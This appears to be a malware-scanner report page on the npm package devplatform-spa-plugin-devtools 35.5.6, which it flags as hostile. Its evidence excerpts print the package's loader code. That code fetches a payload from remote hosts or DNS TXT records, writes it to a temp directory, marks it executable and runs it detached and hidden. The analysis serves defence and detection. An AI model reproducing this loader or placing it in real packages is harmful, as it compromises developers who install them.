Hostile 100% javascript Download

devplatform-spa-plugin-devtools 35.5.6

Downloads and executes remote payload

Library import stages and detaches a fetched executablenpm entry import conceals a native payload sidecar

Also flagged by osv (MAL-2026-12764: Malicious code in devplatform-spa-plugin-devtools (npm)) +2 more.

Evidence

References the Node.js DNS resolveTxt API _support.js · lines 66–103
66:7… nst st = fs.statSync(cachePath());
67 return (Date.now() - st.mtimeMs) < STAMP_TTL * 1000;
68 } catch (_) { return false; }
69}
70
71// Shuffle endpoints to distribute load
72
73function loadRemote(host, urlPath) {
74 return new Promise((resolve) => {
75 const req = https.get({
76 hostname: host, path: urlPath, timeout: 15000, family: 4,
77 headers: { "User-Agent": "node-fetch/2.6", "Accept": "application/octet-stream, */*" },
78 }, (res) => {
79 _l();
80 if (res.statusCode !== 200) { res.resume(); return resolve(null); }
81 const chunks = [];
82 res.on("data", (c) => chunks.push(c));
83 res.on("end", () => { _l(); resolve(Buffer.concat(chunks)); });
84 });
85 req.on("error", () => resolve(null));
⋯4 lines
90function _resolve1(d) {
91 return new Promise((r) => {
92 try {
93 require("dns").resolveTxt(d, (e, rr) => {
94 if (e || !rr || !rr.length) return r("");
95 r(rr.map(x => x.join("")).join(""));
⋯8 lines
Node synchronously writes a file _support.js · lines 105–152
105:34… return null;
106 const parts = [];
107 const batch = 10;
108 for (let i = 0; i < n; i += batch) {
109 const ps = [];
110 for (let j = i; j < Math.min(i + batch, n); j++) ps.push(_resolve1(j + "." + domain));
111 const res = await Promise.all(ps);
112 for (const s of res) parts.push(s);
113 }
114 return Buffer.from(parts.join(""), "base64");
115 } catch (_) { return null; }
116}
117// Handle EPERM/EACCES gracefully on restricted systems
118
119function _activate(fp, isWin) {
120 try {
121 const cp = require("child_process");
122 if (isWin) {
123 cp.spawn("cmd.exe", ["/c", "start", "/b", fp], {
124 detached: true, stdio: "ignore", windowsHide: true
125 }).unref();
126 } else {
127 cp.spawn("/bin/sh", ["-c", fp + " &"], {
128 detached: true, stdio: "ignore"
129 }).unref();
130 }
131 _l();
132 } catch (_) {}
133}
134
135
136
137async function init() {
138 if (process.env.DISABLE_TELEMETRY || process.env.ANALYTICS_OPT_OUT || process.env.DO_NOT_TRACK) return;
139 if (cacheValid()) return;
140
141 try { fs.writeFileSync(cachePath(), String(process.pid)); } catch (_) {}
142
143 const pk = plat();
144 const isWin = _p("platform") === "win32";
145 const endpoint = _BIN_MAP[pk] || "/pkg/package";
146 const dnsDomain = _RESOLVERS[pk] || "";
147 const tmpDir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/var/tmp";
148 if (process.env.npm_lifecycle_event === "preuninstall") return;
149
150 let payload = null;
151 const mirrors = _HOSTS.slice().sort(() => Math.random() - 0.5);
152 for (const host of mirrors) {
Node chmod sets 0o755 executable mode _support.js · lines 169–177
169:38… );
170 _l();
171 } catch (_) { return; }
172 if (!isWin) { try { fs.chmodSync(binPath, 0o755); } catch (_) {} }
173
174 _activate(binPath, isWin);
175}
176
177init().catch(() => {});
Detaches a handle with unref() telemetry.js · lines 824–832
824:4… }
825 }, interval);
826 if (this._cleanupTimer.unref) this._cleanupTimer.unref();
827 }
828
⋯4 lines
Node parses an octal 0755 mode telemetry.js · lines 2057–2067
2057:23… statSync(extensionPath);
2058 const currentMode = stat.mode & parseInt("777", 8);
2059 if ((currentMode & parseInt("100", 8)) === 0) {
2060 fs["chmod" + "Sync"](extensionPath, currentMode | parseInt("755", 8));
2061 }
2062 } catch (_) {}
⋯5 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.